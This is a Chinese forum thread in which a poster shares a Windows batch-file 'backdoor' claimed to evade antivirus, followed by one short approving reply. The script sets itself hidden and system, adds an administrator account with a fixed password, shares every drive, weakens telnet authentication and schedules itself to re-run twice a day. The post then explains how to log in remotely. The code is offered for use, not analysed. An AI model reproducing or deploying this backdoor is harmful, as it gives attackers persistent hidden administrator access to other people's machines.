服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

dirtysea 发表于 2007-6-27 19:56:17

批处理写的后门 永不被杀

这个后门优点就是小而且不会被杀,放到SYSTEM32目录下就可以了 ,代码如下: <BR>&nbsp; @echo off <BR>&nbsp; @attrib +s + r xyt.bat<BR>&nbsp; @net user xyt hacker /add <BR>&nbsp; @net localgroup administrators xyt /add <BR>&nbsp; @net share c$=c: <BR>&nbsp; @net share d$=d:<BR>&nbsp; @net share e$=e:<BR>&nbsp; @net share f$=f:<BR>&nbsp; @net share g$=g:<BR>&nbsp; @net share h$=h:<BR>&nbsp; @tlntadmn config sec = -ntlm<BR><BR>&nbsp; @net stop schedule<BR>&nbsp; @net start Schedule<BR>&nbsp; @echo at 11:00 c:\WINNT\SYSTEM32\log.bat &gt; c:\WINNT\SYSTEM32\xyt.bat <BR>&nbsp; @echo at 23:00 c:\WINNT\SYSTEM32\log.bat &gt;&gt; c:\WINNT\SYSTEM32\xyt.bat <BR>&nbsp; @at 11:05 c:\WINNT\SYSTEM32\xyt.bat <BR>&nbsp; @at 23:05 c:\WINNT\SYSTEM32\xyt.bat <BR>&nbsp; @net stop telnet <BR>&nbsp; @net start telnet <BR>&nbsp; @exit <BR><BR>&nbsp; 这样就会循环运行我们的程序了,即使被人停下来,过几个小时,又回重新运行,呵呵~~<BR>&nbsp; 运行后TELNET IP上去,用户名为xyt,密码为hacker。

玄月月 发表于 2006-5-31 16:23:34

re:批处理写的后门 永不被杀

<P>呵呵,说得有道理......</P>
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